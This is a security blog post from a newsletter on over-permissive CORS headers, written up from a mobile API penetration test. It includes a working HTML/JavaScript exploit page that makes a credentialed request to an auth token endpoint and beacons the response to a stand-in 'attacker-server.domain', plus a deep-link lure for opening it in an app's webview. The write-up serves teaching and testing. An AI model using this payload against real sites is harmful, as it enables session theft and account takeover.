The Dangers of Over-Permissive CORS

Access-Control-Allow-Credentials: true

Yoo Welcome to Issue #09 of Navigating Security - Blog Edition

šŸƒQuote of the week:

ā€œIn the world of security, there is no feature that is misunderstood more than CORS. It's a tool designed to allow developers to work more freely, yet, without proper implementation, it becomes a gaping hole in our web application's defense.ā€

Troy Hunt

ā±ļøIncase you missed the previous issue, here you go:

Table of Contents

You Should Test Mobile APIs For CORS šŸ“±

During a recent test, I had to take a look at a couple of API endpoints that were only exposed via the mobile app. There was no SSL pinning, so the setup wasnā€™t too much of a hassle.

The most intriguing rabbit hole I fell down when looking at the endpoints, was the over-permissive CORS headers. In theory, this would have allowed me to make a GET request to my malicious domain on behalf of an authenticated user and include the credentials (session cookie) of that authenticated user in the request. Guess what that means - yup, ATO. If youā€™re confused, let me give you a bit of a short masterclass.

CORS Masterclass

CORS, or Cross-Origin Resource Sharing, is a mechanism employing server headers to define which origins are permitted to access a server's resources. If https://navigatingsecurity.net wants to fetch data from https://api.navigatingsecurity.net, the API must include a CORS header authorizing access from https://navigatingsecurity.net origin.

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://navigatingsecurity.net
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: ...
...
{"status":"ok"}

These headers, beginning with "Access-Control," outline the parameters for cross-origin access, although not all are mandatory for such access. The two headers I usually look out for are:

  • Access-Control-Allow-Origin: Identifies which origins are allowed to access the response.

  • Access-Control-Allow-Credentials: Specifies whether credentials like cookies can be included in requests.

There are a lot more CORS headers to look out for, the other ones include:

  • Access-Control-Expose-Headers: Allows certain headers to be accessible to JavaScript in the browser.

  • Access-Control-Max-Age: Indicates how long the results of a preflight request can be cached. If this value is too high, it might allow a prolonged attack window if the CORS policy is mistakenly configured and then corrected but remains effective due to caching

The header that would allow https://navigatingsecurity.net to access the hostā€™s resources would be Access-Control-Allow-Origin. In this case, the header was set to a wildcard (ā€œ*ā€)

In addition to CORS, the Same-Origin Policy (SOP) regulates web interactions by preventing responses from being read by a different origin than the one from which the request was initiated, though it doesn't block the request itself. Exceptions exist, such as HTTP preflight requests sent with the OPTIONS method for non-simple requests (e.g., ones with custom headers or nonstandard POST requests), which check if the browser should proceed with the actual request.

Luckily these API endpoints were not using any nonstandard POST requests or custom headers so SOP was not going to be an issue either.

Exploiting Misconfigured CORS Headers

If you inject the Origin header and put a custom domain in your request, the response would reflect our arbitrary domain in the Access-Control-Allow-Origin header and include the Access-Control-Allow-Credentials: true header.

Request:

POST / HTTP/1.1
...
Host: redacted.com
Connection: Close
Origin: attacker-server.domain
Accept: */*
...

Response:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://attacker-server.domain
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: ...
...
{"status":"ok"}

If you ever see such behaviour, your spidey senses should go off. To exploit this, I had to host a malicious HTML page with JavaScript that would send a GET request back to my server. The javascript payload would include the credentials of the authenticated user in the request as a parameter because of the Access-Control-Allow-Credentials: true header which makes the browser automatically authenticate the request. Thus exposing the authenticated userā€™s session cookie. This isnā€™t the hard part though. I cooked up the following HTML page:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CORS Exploit Test</title>
</head>
<body>
    <script>
        // Function to handle sending data to the attacker's server
        function sendToAttacker(data) {
            const attackerUrl = "http://attacker-server.domain/";
            // Using navigator.sendBeacon for a more reliable background request
            navigator.sendBeacon(`${attackerUrl}?${data}`);
        }

        // Perform the fetch request to the targeted API
        fetch("http://redacted.com/api/service/auth/token", {
            method: 'POST',
            credentials: 'include' // Ensures cookies, e.g., session cookies, are sent with the request
        })
        .then(async (response) => {
            if (response.status !== 401) { // Check if the response status is not Unauthorized
                let data = await response.text(); // Attempt to read the response as text
                sendToAttacker("outpt=" + encodeURIComponent(data)); // Send the data to the attacker's server
            } else {
                sendToAttacker("outpt=UnauthorizedAccessAttempt"); // Send a custom message if unauthorized
            }
        })
        .catch(error => {
            console.error('Fetch error:', error); // Log any errors to the console for debugging
            sendToAttacker("outpt=FetchError&error=" + encodeURIComponent(error.message)); // Send error details to the attacker's server
        });
    </script>
</body>
</html>

The script does the following:

  • Initiates a POST request to the targeted API, including credentials such as cookies to exploit the CORS misconfigurations.

  • Checks the response status. If it's not a 401 (Unauthorized) status, it assumes that the request was successful and attempts to read the response data.

  • Utilizes the navigator.sendBeacon method to send captured data or error messages to an attacker-controlled server. navigator.sendBeacon is used for a more reliable transmission of data, especially useful for sending analytics and end-of-session data.

  • Encodes the captured data or error messages with encodeURIComponent to ensure that the data is transmitted correctly via URL parameters.

Common Pitfalls

Once you have your script ready, all you have to do is send a link to the HTML page to a victim and you have ATO right? Wrong. Remember, this is a mobile application so there is a bit more in play here. Considering I did not have the source code of the application, I had to manually fuzz for the activity/view controllers that open the web view of the application.

Sending a link to someone on a computer isnā€™t too much of an ordeal because it automatically opens the link in the browser - intended functionality. However, for this attack to work, I needed the link to be opened in the applicationā€™s webview aka the in-app browser. A fictitious example of how I would make a user open my malicious HTML page via Facebook (Meta) would be sending them this link:

facebook///webpage?url=https://attacker-server.domain/pwned.html

This opens my malicious HTML in the Facebook web view and includes the session credentials in the GET request if it is configured to do so - more like misconfigured to do so. I tried a bunch of different activity names such as webpage, file, url, shop, web, url to no avail.

If this was on Android, I would have manually uploaded the HTML file using adb then continue using abd to trigger the file by manually starting the activity. But his was on iOS so I have no clue what the equivalent of this was.

Lastly, even if I had been able to find the name of the view controller that opened the web view, the application did not include the user credentials once it switched to the web view šŸ¤¦šŸ¾ā€ā™‚ļø - all requests were unauthenticated.

While I was not able to escalate this potential vulnerability, it led to some interesting research. Iā€™ve added this to my checklist and Iā€™ll continue looking out for it.

I hope you found this valuable. Cheers šŸ«”

Suggestions

Hit me up on Discord or LinkedIn if you have anything you feel would be cool to include. Thanks, Cheers.